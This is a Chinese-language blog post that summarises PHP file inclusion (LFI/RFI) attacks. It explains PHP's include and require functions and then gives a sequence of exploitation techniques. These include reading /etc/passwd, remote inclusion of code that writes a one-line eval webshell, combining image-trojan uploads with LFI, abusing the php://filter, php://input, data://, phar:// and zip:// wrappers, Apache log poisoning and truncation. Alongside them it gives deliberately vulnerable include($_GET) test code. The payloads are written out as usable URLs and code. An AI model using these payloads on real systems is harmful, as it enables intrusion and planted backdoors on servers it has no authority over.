文件包含總結(部分)

一、文件包含是什麼?

文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指當服務器開啓allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。

攻擊者利用了包含的特性,再加上了應用本身對文件控制不嚴,對include進來的文件不可控,最終造成了攻擊者進行任意文件包含。包含進來的文件都以當前腳本文件解析,比如,我們當前測試系統是Apache加php環境,那麼被include進來的文件,不管是什麼類型,比如說圖片,文本文檔,這些文件被包含以後,都會被當做php腳本來解析

二、本地文件包含(LFI)和遠程文件包含(RFI)

本地文件包含 當被包含的文件在服務器本地時,就形成本地文件包含;

遠程文件包含 當被包含的文件在第三方服務器時,叫做遠程文件包含

該漏洞涉及到php常見包含文件函數包括:

include() 

當使用該函數包含文件時,只有代碼執行到include()函數時纔將文件包含進來,發生錯誤時只給出一個警告,繼續向下執行

include_once() 

功能和include()相同,區別在於當重複調用同一文件時,程序只調用一次

require() 

require()與include()的區別在於require()執行如果發生錯誤,函數會輸出錯誤信息,並終止腳本的運行 。使用require()函數包含文件時,只要程序一執行,立即調用文件,而include()只有程序執行到函數時才調用 .require()在php程序執行前執行,會先讀入 require 所指定引入的文件,使它變成 PHP 程序網頁的一部份。

require_once() 

它的功能與require()相同,區別在於當重複調用同一文件時,程序只調用一次

三、文件包含利用

1.讀取敏感文件

訪問URL:http://www.test.com/index.php?page=/etc/passwd

如果目標主機文件存在,並且有相應的權限,那麼就可以讀出文件的內容。反之,就會得到一個類似於;open_basedir restriction in effect的警告。

2.遠程包含Shell

如果目標主機allow_url_fopen選項是激活的,就可以嘗試遠程包含一句話木馬, 如:http://www.test.com/echo.txt,

代碼如下:

<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[yale]);?>");?>

訪問:http://www.example.com/index.php?page=http://www.test.com/echo.txt。將會在index.php所在的目錄下生成shell.php,內容爲:

<?php eval($_POST[xxser]);?>

3.本地包含配合文件上傳

假設已經上傳一句話圖片木馬到服務器,路徑爲:/uploadfile/xxx.jpg

圖片代碼如下:

<?php fputs(fopen("shell.php","w"),"<?php eval($_POSTyale]);?>");?>

訪問URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含這張圖片,將會在index.php所在的目錄下生成shell.php。

4.使用PHP封裝協議

4.1 使用封裝協議讀取PHP文件

例子如下:http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php

訪問URL,得到經過Base64加密後的字符串,這段代碼就是Base64加密過後的PHP源代碼,解密後就可得到原本的“樣貌”。

4.2 寫入PHP文件

在allow_url_include爲On時,構造URL:http://www.example.com/index.php?page=php://input,並且提交數據爲:
<?php system('net user');?>

會得到net user命令的結果。

如果POST的數據是執行寫入一句話木馬的PHP代碼,就會在當前目錄下寫入一個木馬。

條件:php配置文件中需同時開啓 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代碼執行,在這可以理解成遠程文件包含漏洞(RFI),即POST過去PHP代碼,即可執行;

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

data://僞協議

數據流封裝器,和php://相似都是利用了流的概念,將原本的include的文件流重定向到了用戶可控制的輸入流中,簡單來說就是執行文件的包含方法包含了你的輸入流,通過你輸入payload來實現目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

data://(讀取文件)

和php僞協議的input類似,碰到file_get_contents()來用; <?php // 打印 “I love PHP” echo file_get_contents(‘data://text/plain;base64,SSBsb3ZlIFBIUAo=’); ?>

注意:<?php phpinfo();,這類執行代碼最後沒有?>閉合;

如果php.ini裏的allow_url_include=On(PHP < 5.3.0),就可以造成任意代碼執行,同理在這就可以理解成遠程文件包含漏洞(RFI) 測試代碼:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

phar://僞協議

這個參數是就是php解壓縮包的一個函數,不管後綴是什麼,都會當做壓縮包來解壓。

用法:?file=phar://壓縮包/內部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 壓縮包需要是zip協議壓縮,rar不行,將木馬文件壓縮後,改爲其他任意格式的文件都可以正常使用。 步驟: 寫一個一句話木馬文件shell.php,然後用zip協議壓縮爲shell.zip,然後將後綴改爲png等其他格式。

測試代碼:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

zip://僞協議

zip僞協議和phar協議類似,但是用法不一樣。

用法:?file=zip://[壓縮文件絕對路徑]#[壓縮文件內的子文件名] zip://xxx.png#shell.php。

條件: PHP > =5.3.0,注意在windows下測試要5.3.0<PHP<5.4 纔可以 #在瀏覽器中要編碼爲%23,否則瀏覽器默認不會傳輸特殊字符。

測試代碼:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

5.包含Apache日誌文件

Apache有兩個日誌文件:access.log(訪問日誌)和error.log(錯誤日誌)。
攻擊者先訪問http://www.example.com/<?php phpinfo();?>,
操作這一步時,需要使用Burp抓包改包,否則<,>,空格都會被轉碼。
隨後訪問http://www.test.com/index.php?page=./…/Apache-20/logs/access.log,使用這種方式時,找到Apache的路徑是關鍵。

6.截斷包含

<?php

if(isset($_GET['page'])){

include $_GET['page'].".php";

}else{

include 'home.php';

}

?>

如果此時存在一個圖片木馬,名爲1.jpg,

可以輸入如下URL:http://www.example.com/index.php?page=1.jpg

當然這種方法只適用於magic_quotes_gpc=Off的情況下。

更多文章:

https://blog.csdn.net/qq_33020901/article/details/82684483

http://wiki.wooyun.org/web:lfi

PHP文件包含漏洞總結: http://drops.wooyun.org/tips/3827

文件包含與注入利用總結: https://www.91ri.org/2736.html

php://input,php://filter,data URI schema的那些事:
https://www.91ri.org/7470.html

phar協議: https://www.91ri.org/13363.html

論PHP常見的漏洞: http://drops.wooyun.org/papers/4544

LFI WITH PHPINFO() ASSISTANCE:
https://www.insomniasec.com/downloads/publications/LFI With PHPInfo Assistance.pdf

PHP_LFI_rfc1867_temporary_files:
http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf

zip或phar協議包含文件
http://bl4ck.in/index.php/tricks/use-zip-or-phar-to-include-file.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章